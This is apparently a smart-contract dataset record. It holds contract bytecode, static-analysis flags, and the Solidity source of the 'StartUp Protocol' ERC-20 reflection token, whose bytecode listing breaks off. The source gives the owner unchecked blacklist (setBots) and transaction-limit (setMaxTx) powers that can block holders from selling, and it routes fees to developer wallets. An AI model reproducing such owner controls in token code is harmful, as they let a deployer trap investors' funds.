ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146130e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f4d533a204e4f545f4f574e455200000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fdfc39691aec87dc6aa51ff70c0e592f260c54d2ed6c64e8c4c2306da0eec872b60405160405180910390a250565b6001602054146131e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601f54905060008134816131f557fe5b0614613269576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f494e56414c49445f4d53475f56414c554500000000000000000000000000000081525060200191505060405180910390fd5b600081348161327457fe5b04905061327f613952565b8111156132f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b601e5481601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905511156133b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b80600460008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561345a57600080fd5b505af115801561346e573d6000803e3d6000fd5b505050505050565b6001600a54146134ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61029b8110613565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e4f545f484f4c4445520000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156135ef57600080fd5b505afa158015613603573d6000803e3d6000fd5b505050506040513d602081101561361957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16146136b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e4f545f484f4c4445520000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600954905060008134816136c557fe5b0614613739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57524f4e475f56414c554500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600081348161374457fe5b049050612710816004600082825403925050819055106137cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b60075481600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055111561388f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561392257600080fd5b505af1158015613936573d6000803e3d6000fd5b50505050505050565b6000613949613965565b60045403905090565b600061395c613965565b60045403905090565b60006005546008541061397b5760009050613985565b6008546005540390505b9056fea264697066735822122026a30c0627b95018f65cadd526673c26b9da11df2b8bc6c9f6787b3933654e2764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,435 |
0xf8b92dd115242767a1083d1ab8075bc0772d0664
|
/*
https://www.supProtocol.com
https://t.me/StartUpProtocol
https://medium.com/@startupprotocol/introducing-startup-protocol-sup-6989dc7499d7
https://twitter.com/ProtocolStartup
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract StartUpProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "StartUp Protocol";
string private constant _symbol = "SUP";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 10;
uint256 private _redisfee = 0;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _DevAddress;
address payable private _DevAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_DevAddress = addr1;
_DevAddress2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
_isExcludedFromFee[_DevAddress2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_redisfee = 0;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.div(2));
_DevAddress2.transfer(amount.div(2));
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function removeStrictTxLimit(uint256 maxTxpc) external {
require(_msgSender() == _DevAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function manualswap() external {
require(_msgSender() == _DevAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DevAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063bc337182146103c1578063c3c8cd80146103ea578063c9567bf914610401578063dd62ed3e146104185761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780633512fde0146102485780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612eba565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906129e4565b610492565b6040516101839190612e9f565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae919061303c565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612991565b6104c0565b6040516101eb9190612e9f565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906128f7565b610599565b005b34801561022957600080fd5b50610232610689565b60405161023f91906130b1565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612ac7565b610692565b005b34801561027d57600080fd5b5061029860048036038101906102939190612a6d565b610771565b005b3480156102a657600080fd5b506102af610823565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906128f7565b610895565b6040516102e5919061303c565b60405180910390f35b3480156102fa57600080fd5b506103036108e6565b005b34801561031157600080fd5b5061031a610a39565b6040516103279190612dd1565b60405180910390f35b34801561033c57600080fd5b50610345610a62565b6040516103529190612eba565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906129e4565b610a9f565b60405161038f9190612e9f565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612a24565b610abd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612ac7565b610be7565b005b3480156103f657600080fd5b506103ff610c86565b005b34801561040d57600080fd5b50610416610d00565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612951565b61125a565b60405161044c919061303c565b60405180910390f35b60606040518060400160405280601081526020017f537461727455702050726f746f636f6c00000000000000000000000000000000815250905090565b60006104a661049f6112e1565b84846112e9565b6001905092915050565b6000670de0b6b3a7640000905090565b60006104cd8484846114b4565b61058e846104d96112e1565b6105898560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061053f6112e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c739092919063ffffffff16565b6112e9565b600190509392505050565b6105a16112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590612f7c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d36112e1565b73ffffffffffffffffffffffffffffffffffffffff16146106f357600080fd5b6000811161070057600080fd5b61072f61271061072183670de0b6b3a7640000611cd790919063ffffffff16565b611d5290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610766919061303c565b60405180910390a150565b6107796112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fd90612f7c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108646112e1565b73ffffffffffffffffffffffffffffffffffffffff161461088457600080fd5b600047905061089281611d9c565b50565b60006108df600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e97565b9050919050565b6108ee6112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097290612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5355500000000000000000000000000000000000000000000000000000000000815250905090565b6000610ab3610aac6112e1565b84846114b4565b6001905092915050565b610ac56112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4990612f7c565b60405180910390fd5b60005b8151811015610be3576001600a6000848481518110610b7757610b766133f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bdb90613352565b915050610b55565b5050565b610bef6112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7390612f7c565b60405180910390fd5b8060108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc76112e1565b73ffffffffffffffffffffffffffffffffffffffff1614610ce757600080fd5b6000610cf230610895565b9050610cfd81611f05565b50565b610d086112e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90612f7c565b60405180910390fd5b600f60149054906101000a900460ff1615610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612ffc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e7430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610eba57600080fd5b505afa158015610ece573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef29190612924565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5457600080fd5b505afa158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c9190612924565b6040518363ffffffff1660e01b8152600401610fa9929190612dec565b602060405180830381600087803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190612924565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061108430610895565b60008061108f610a39565b426040518863ffffffff1660e01b81526004016110b196959493929190612e3e565b6060604051808303818588803b1580156110ca57600080fd5b505af11580156110de573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111039190612af4565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611204929190612e15565b602060405180830381600087803b15801561121e57600080fd5b505af1158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612a9a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090612fdc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c090612f1c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114a7919061303c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612edc565b60405180910390fd5b600081116115d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ce90612f9c565b60405180910390fd5b6115df610a39565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164d575061161d610a39565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bb057600f60179054906101000a900460ff1615611880573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116cf57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117835750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c96112e1565b73ffffffffffffffffffffffffffffffffffffffff16148061183f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118276112e1565b73ffffffffffffffffffffffffffffffffffffffff16145b61187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759061301c565b60405180910390fd5b5b5b60105481111561188f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119335750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61193c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119e75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a555750600f60179054906101000a900460ff165b15611af65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aa557600080fd5b601442611ab29190613172565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611b0130610895565b9050600f60159054906101000a900460ff16158015611b6e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b865750600f60169054906101000a900460ff165b15611bae57611b9481611f05565b60004790506000811115611bac57611bab47611d9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c6157600090505b611c6d8484848461218d565b50505050565b6000838311158290611cbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb29190612eba565b60405180910390fd5b5060008385611cca9190613253565b9050809150509392505050565b600080831415611cea5760009050611d4c565b60008284611cf891906131f9565b9050828482611d0791906131c8565b14611d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3e90612f5c565b60405180910390fd5b809150505b92915050565b6000611d9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ba565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dec600284611d5290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffff